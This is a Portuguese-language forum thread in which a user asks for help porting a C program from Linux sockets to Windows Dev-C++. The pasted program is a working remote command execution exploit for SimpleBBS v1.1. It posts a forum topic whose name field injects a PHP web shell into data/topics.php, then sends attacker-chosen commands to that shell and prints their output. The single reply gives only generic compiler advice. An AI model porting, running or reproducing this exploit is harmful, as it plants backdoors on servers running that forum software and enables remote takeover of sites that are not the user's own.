Ir para conteúdo
Fórum Script Brasil
  • 0

Compilar Um Fonte C++


yoga

Pergunta

Eu estou começando a trabalhar com o C++.

Eu tenho um fonte que pode ser compilado no linux usando o GCC, a compilação no linux funciona corretamente.

Mas eu estou tentando compilar ele no Windos usando o compilador DEV-c++ 4.9.9.2, mas sei que tem ulgumas libs que não nativar da programação em linux.

<sys/types.h>, <sys/socket.h>, <netinet/in.h>, <netdb.h>. sei ainda que devo substiruir estas libs.

Mas por quais devo trocar?

Sei ainda que tem alguns comandos em que a sintex e diferente.

alguém pode me ajudar a converter este fonte para compilar do windows?

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <errno.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#define closesocket(s) close(s)

#define HTTP_PORT 80

#define DATA "name=Willy\\\"><!--<?php error_reporting(0);print `\\$_GET[cmd]`; die;?>&subject=Winning&message=i would like to know how each team finds the perfect aerodinamic confuguration for each circuit, i mean, how they come to the conclusion of how the wings configurated.&sendTopic=Send"

/****************** MAIN *********************/

void sendpacket(char buffer[8192], int p, char host[100]);

int main( int argc, char **argv)

{

char buffer[8192];

char dat[8192];

int count;

if(argc<4)

{

printf("Usage %s [host] [/folder/] [cmd]\n\nSimpleBBS <= v1.1 remote commands execution in c\ncoded by: unitedasia v.Dec.7.2005\ngreetz: iloveyouma\n",argv[0]);

exit(1);

}

sprintf(dat, DATA);

sprintf( buffer, "POST %sindex.php?v=newtopic&c=0 HTTP/1.0\nHost: %s\nContent-Type: application/x-www-form-urlencoded\nContent-Length: %d\n\n%s\n\n\n", argv[2], argv[1], strlen(dat), dat);

sendpacket(buffer,0,argv[1]);

sprintf( buffer, "GET %sdata/topics.php?cmd=%s HTTP/1.0\nHost: %s\n\n", argv[2], argv[3], argv[1]);

sendpacket(buffer,1,argv[1]);

return count;

}

void sendpacket(char buffer[8192], int p, char host[100])

{

struct sockaddr_in server;

struct hostent *host_info;

unsigned long addr;

int sock;

char dat[8192];

int count;

/* create socket */

sock = socket( PF_INET, SOCK_STREAM, 0);

if (sock < 0) {

perror( "failed to create socket");

exit(1);

}

/* Create socketadress of Server

* it is type, IP-adress and portnumber */

memset( &server, 0, sizeof (server));

/* convert the Servername to a IP-Adress */

host_info = gethostbyname( host);

if (NULL == host_info) {

fprintf( stderr, "unknown server: %s\n", host);

exit(1);

}

memcpy( (char *)&server.sin_addr, host_info->h_addr, host_info->h_length);

server.sin_family = AF_INET;

server.sin_port = htons( HTTP_PORT);

/* connect to the server */

if ( connect( sock, (struct sockaddr*)&server, sizeof( server)) < 0) {

perror( "can't connect to server");

exit(1);

}

send( sock, buffer, strlen( buffer), 0);

/* get the answer from server and put it out to stdout */

if (p==1) {

do {

count = recv( sock, buffer, sizeof(buffer), 0);

write( 1, buffer, count);

}

while (count > 0);

}

/* close the connection to the server */

closesocket( sock);

}

Link para o comentário
Compartilhar em outros sites

1 resposta a esta questão

Posts Recomendados

  • 0

O dev usa o mesmo gcc do linux.

Já tentou procurar estes cabeçalhos atraves do update do Dev-C.

Se a programação é para rodar no console não tem o que se preocupar.

Procure ver a versão do gcc dos dois SO'S.

Abraços, Daniel.

Link para o comentário
Compartilhar em outros sites

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,3k
    • Posts
      652,3k
×
×
  • Criar Novo...